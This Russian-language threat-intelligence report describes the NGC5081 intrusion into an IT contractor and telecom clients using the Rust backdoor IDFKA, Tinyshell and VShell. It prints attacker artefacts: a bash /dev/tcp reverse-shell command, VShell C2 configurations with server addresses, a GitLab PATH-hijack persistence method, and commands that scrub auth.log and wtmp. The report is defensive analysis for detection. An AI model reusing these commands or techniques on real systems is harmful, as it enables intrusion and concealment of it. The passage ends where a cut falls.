В конце мая 2025 года эксперты Solar 4RAYS подключились к расследованию инцидента в телекоммуникационной компании, который начался с оповещения Solar JSOC о выполнении bash-команд посредством БД PostgreSQL в одном из внутренних контуров инфраструктуры. Поиск источника активности привел нас к подрядчику этой организации — IT-компании, которая администрировала эту базу данных. В сети подрядчика мы обнаружили минимум две группировки атакующих, одна из которых (мы назвали ее NGC5081) использовала ранее неизвестный бэкдор на языке Rust, который мы назвали IDFKA.
С помощью этого бэкдора атакующие в течение 10 месяцев сохраняли доступ к IT-инфраструктуре подрядчика, а также получили доступ к базам компаний-клиентов, где хранилась информация об абонентах и метаинформация об их звонках. Однако свидетельств, что какие-либо из этих данных были похищены, мы не обнаружили. Хотя поведение группировки указывает, что целью атаки являлся шпионаж, остается неизвестным, что именно атакующие искали в инфраструктуре организаций.
Ключевые тезисы:
- Атакующие находились в сети подрядчика не менее 10 месяцев и проникали в инфраструктуру клиентов, используя легитимный доступ к БД PostgreSQL.
- Атакующие использовали стандартный Tinyshell и оригинальный бэкдор IDFKA на Rust для заражения Linux-систем.
- Атакующие мимикрировали под процессы и установленное легитимное ПО в системах, а также под подрядчиков жертвы в С2.
- Атакующие удаляли следы своей активности в системах и вручную подменяли артефакты.
- Основная нагрузка бэкдора IDFKA зашифрована, для расшифровки используется переменная окружения, алгоритм шифрования AES-ECB и генерация промежуточных ключей в процессе.
-
Функциональность бэкдора IDFKA:
- reverse shell;
- модуль сканирования портов portscan, определение основных сервисов;
- брутфорс SSH;
- модуль password capture, реализуемый с помощью ptrace / eBPF;
- разнообразие каналов C2. Режимы работы TCP/UDP, ICMP (raw/libpcap), HTTP, FutureProtocol (protocol=204), magictcp, port-knock, spooftcp;
- Signaling Files. Возможность управления через специальные файлы.
- Мы выявили паттерн взаимодействия IDFKA с управляющими серверами, который позволил обнаружить ранее неизвестные управляющие серверы.
- Конфигурация в бэкдоре может храниться в произвольном месте файла, найти ее можно по 16-байтовой сигнатуре, удовлетворяющей определенным условиям.
- Данных, позволяющих атрибутировать кампанию какой-либо из известных группировок, пока недостаточно, поэтому ей присвоено обозначение NGC5081.
Описание инцидента
В этом инциденте нам удалось обнаружить множественную компрометацию подрядчика — компании в сфере ИТ-услуг — и провести расследование у двух ее клиентов. Для удобства восприятия информации цепочка заражения будет изложена в хронологической последовательности начиная с компрометации подрядчика. Общий таймлайн атаки представлен на рисунке ниже.
IDFKA
Наиболее ранний обнаруженный нами образец IDFKA был размещен в инфраструктуре подрядчика в ноябре 2024 года. Все сэмплы были написаны на языке Rust и располагались в стандартных директориях исполняемых файлов для Linux. Атакующие не закрепляли бэкдор — это было возможно благодаря тому, что системы не перезагружались несколько лет. В некоторых системах мы обнаружили только незапущенные файлы IDFKA. Почти все сэмплы имели уникальные названия и параметры запуска процесса.
|
Командная строка |
Файл |
|---|---|
|
php-fqm: pool zabbix |
/usr/sbin/php-fqm: |
|
postgres: reader process |
/usr/sbin/postgres: |
|
nginx: worker process |
/usr/sbin/ntpqd /usr/sbin/nginx: |
|
irgbalance --foreground |
/usr/sbin/irgbalance |
|
- |
/usr/sbin/readname |
|
- |
/usr/sbin/hald-worker |
|
- |
/usr/sbin/.irgbalance |
В переменных окружения аномальных процессов — тогда мы еще не знали, что это за вредонос, — мы обнаружили интересные параметры.
- TRM64CFG=R:9o,Bgk:1l,Cd:5 — кастомная переменная, которая использовалась для расшифровки импланта. Имела одно значение на всех скомпрометированных системах.
- HISTFILE=0 — переменная, устанавливающая размер bash_history в 0. Используется для скрытия команд.
- PSQL_HISTORY=/dev/null — переменная, исключающая логирование запросов в консоли psql.
- PWD — текущая директория процесса. Если это переменная содержит заведомо подозрительный путь, например /tmp, /var/www или /dev/shm, возможно, процесс вредоносный.
- OLDPWD — предыдущая рабочая директория, из которой был запущен процесс.
- SUDO_USER — пользователь, запустивший процесс через команду sudo. В текущем инциденте это был пользователь postgres, обладавший излишними правами.
- SSH_CONNECTION — переменная, содержащая адрес SSH-клиента, порт SSH-клиента, IP-адрес сервера (текущей системы), порт SSH-службы сервера.
- SSH_CLIENT — переменная, содержащая исторический адрес SSH-клиента и порт SSH-клиента.
- _= — переменная, указывающая на полный путь первой команды при запуске процесса. Если исполняемый файл был запущен непосредственно, в переменной будет находиться полный путь к самому файлу. Если файл был запущен через лаунчер, nohup или screen, в переменной будет путь к лаунчеру.
Отметим, что указанные переменные окружения, помимо специфической для импланта переменной TRM64CFG, можно использовать для детектирования возможной вредоносной активности.
В исследованных нами системах логи к моменту расследования частично ротировались, а там, где имелись за указанный период, не содержали значимых данных. Журналы wtmp и lastlog также были модифицированы атакующими, которые удалили оттуда источники своих входов. Однако из переменных SSH_CLIENT и SSH_CONNECTION мы смогли получить IP-адреса клиентов, которые подключались к зараженным системам, благодаря чему мы расширили перечень приоритетных систем для анализа. Адреса клиентов во всех случаях принадлежали другим внутренним системам. В полученных системах мы также нашли бэкдор IDFKA с переменными окружения SSH_CLIENT и SSH_CONNECTION. В результате у нас получилось восстановить цепочку подключений и частично восстановить последовательность заражения систем. В нашем случае переменные указывали на исторические SSH-подключения.
Также в ноябре 2024 года, через несколько дней после размещения IDFKA у подрядчика, атакующие скомпрометировали PostgreSQL-кластер клиента подрядчика — компанию А, оказывающую услуги в сфере телекоммуникаций. Установить дату компрометации удалось посредством нахождения команды реверс-шелла в файлах бэкапа PostgreSQL.
o-rw-r--r-- 1 postgres postgres 56 Nov XX 16:44 /tmp/.g
/bin/bash -c "/bin/bash -i >& /dev/tcp/10.XXX.XX.XX/5439 0>&1"
!hostname-db1
IP-адрес из реверс-шелла принадлежал внутренней системе подрядчика.
Tinyshell
Помимо IDFKA, мы обнаружили в системах бэкдор Tinyshell. Несмотря на то, что в инфраструктуре подрядчика мы обнаружили следы деятельности еще одной группировки (о которой расскажем позже), мы относим эти два бэкдора к активности NGC5081, потому что один сэмпл TinyShell и один сэмпл IDFKA использовали один и тот же C2.
В нескольких системах Tinyshell был добавлен атакующими в скрипт системы инициализации SysVinit /etc/rc.d/rc.local. Данный файл используется для запуска служб, демонов и других команд, которые не имеют собственных скриптов в каталоге /etc/init.d.
В одной из систем подрядчика закрепление было выполнено более скрытно. В марте 2025 года атакующие скомпрометировали систему, в которой было установлено ПО GitLab с домашней директорией /opt/gitlab/.
Вредоносный файл был размещен по пути /opt/gitlab/bin/gitlab-kas с закреплением через легитимный скрипт
/opt/gitlab/embedded/bin/runsvdir-start. При этом в дистрибутиве GitLab имеется легитимный файл с тем же именем, но
по пути /opt/gitlab/embedded/bin/gitlab-kas. Атакующие добавили в середину скрипта runsvdir-start запуск файла
только по его имени gitlab-kas. При этом в скрипте была переопределена переменная PATH со значением
PATH=/opt/gitlab/bin:/opt/gitlab/embedded/bin:/usr/local/bin:/usr/local/sbin:/bin:/sbin:/usr/bin:/usr/sbin,
где директория /opt/gitlab/bin/ более приоритетна, чем /opt/gitlab/embedded/bin/, в результате чего при старте
сервиса GitLab запускался вредоносный файл вместо легитимного.
В апреле 2025 года атакующие получили доступ к кластеру PostgreSQL компании Б с учетными данными postgres. Атакующие проверяли доступ к внешним и внутренним ресурсам, загружали вредоносные файлы и пытались их запускать, при этом удаляли файлы после своей работы, не создавая закреплений. Один из загруженных файлов был детектирован антивирусом. Так удалось установить, что это также бэкдор Tinyshell. В качестве C2-бэкдора использовался домен, мимикрирующий под провайдера компании Б, а поддоменом выступало название сегмента сети, в котором находился кластер БД.
VShell
В части систем подрядчика, наряду с Tinyshell, мы обнаружили подозрительные процессы, которые мимикрировали под потоки ядра. Во всех исследованных системах название процесса [kworker/0:2] было одинаковым, и он был запущен из файла /memfd:a. У вредоносных процессов существовали дочерние процессы шеллов, в том числе из файлов /tmp/bash, где файл являлся копией легитимного /bin/bash.
Ниже представлено дерево процессов VShell с одной из систем.
root 1254164 0.0 0.0 718416 10888 ? Sl Apr08 37:56 [kworker/0:2]
root 2528649 0.0 0.0 16312 8 pts/2 Ss+ Apr09 0:00 \_ /tmp/bash
root 240469 0.0 0.0 16312 236 pts/0 Ss+ Apr09 0:00 \_ /tmp/bash
root 649643 0.0 0.0 16312 164 pts/1 Ss Apr15 0:00 \_ /bin/bash
root 649704 0.0 0.0 45880 40 pts/1 S+ Apr15 0:00 \_ ssh user@172.XX.XX.XX
root 636030 0.0 0.0 717904 9380 ? Sl Jun08 2:51 [kworker/0:2]
По артефактам мы обнаружили статью об азиатской группировке UNC5174, которую мы называем Snowy Mogwai. Она использовала VShell с такой же мимикрией, какую мы видели в нашем расследовании. Отметим, что первоначальный доступ группировка получает в результате атак на публично доступные сервисы.
Процессы VShell содержали значимые переменные окружения:
- SSH_CLIENT, SSH_CONNECTION — IP-адреса SSH-клиентов. В нашем случае эти подключения были завершены на момент исследования.
- HISTFILE — путь /tmp/.del для всех процессов VShell, при этом файл по такому пути отсутствовал в системах.
- CWD — кастомная переменная загрузчика SNOWLIGHT, содержащая путь к вредоносному файлу.
Загрузчик SNOWLIGHT загружает VShell с С2, устанавливает переменную окружения CWD и запускает файл через fexecve с отображаемыми параметрами запуска "[kworker/0:2]". Обнаруженные нами загрузчики располагались по следующим путям:
- /usr/bin/c8ecb103tcp
- /usr/bin/b6271952tcp
- /usr/bin/cdd407ebtcp
- /usr/bin/f15102d2tcp
- /tmp/f15102d2tcp
- /tmp/PGSQL1
- /tmp/tt/t
- /home/[redacted]/rdl
- /tmp/.ICE-unix/ivr
Из сэмплов мы извлекли следующие уникальные конфигурации:
{
"server": "45.67.230[.]39:8888",
"type": "tcp",
"vkey": "qwe123qweasdasf",
"proxy": "",
"salt": "qwe123qwesfgasdd",
"l": false,
"e": false,
"d": 30,
"h": 10
}
{
"server": "45.144.31[.]54:60998",
"type": "tcp",
"vkey": "wrnmsbjappan",
"proxy": "",
"salt": "wrnmsbjappan",
"l": false,
"e": false,
"d": 30,
"h": 10
}
{
"server": "94.131.121[.]10:10250",
"type": "tcp",
"vkey": "<redacted>",
"proxy": "",
"salt": "<redacted>",
"l": false,
"e": false,
"d": 30,
"h": 10
}
{
"server": "0.0.0.0:10052",
"type": "tcp",
"vkey": "<redacted>",
"proxy": "",
"salt": "<redacted>",
"l": true,
"e": false,
"d": 30,
"h": 10
}
{
"server": "0.0.0.0:2379",
"type": "tcp",
"vkey": "<redacted>",
"proxy": "",
"salt": "<redacted>",
"l": true,
"e": false,
"d": 30,
"h": 10
}
В истории команд различных учетных записей и в логах различного ПО мы обнаружили следы загрузки файлов с внешних IP-адресов по пути /slt. Загрузка скрипта установки бэкдора при обращении к этому эндпоинту описана в другой статье о VShell.
Все артефакты, связанные с бэкдором VShell, были созданы не ранее апреля 2025 года.
Аномалии артефактов
В некоторых исследованных системах мы не нашли вредоносных файлов, но нашли аномалии, свидетельствующие об исторической вредоносной активности. Атакующие оставили в директории /tmp копию файла /var/log/wtmp, сделанную в период вредоносной активности в ноябре 2024 года, а также бэкапы known_hosts отдельных учетных записей. Кроме того, в файле known_hosts мы видели несколько отпечатков SSH для одного IP-адреса, что может свидетельствовать об использовании SSH-туннелей.
В артефакте .viminfo мы нашли исходные команды атакующих:
sed -i \"/165.231.141.126/d\" /var/log/auth.log
lastlog -C -u root
utmpdump /var/log/wtmp | grep -v root | utmpdump -r > /tmp/.f
mv /tmp/.f /var/log/wtmp
lastlog
Атакующие удалили строки со своим внешним IP-адресом из auth.log, удалили адрес последнего входа root из lastlog, получили строки wtmp, где нет строки root, и перезаписали содержимое /var/log/wtmp. Заметим, в событиях завершения сессии не содержится строки с названием учетной записи, поэтому они ост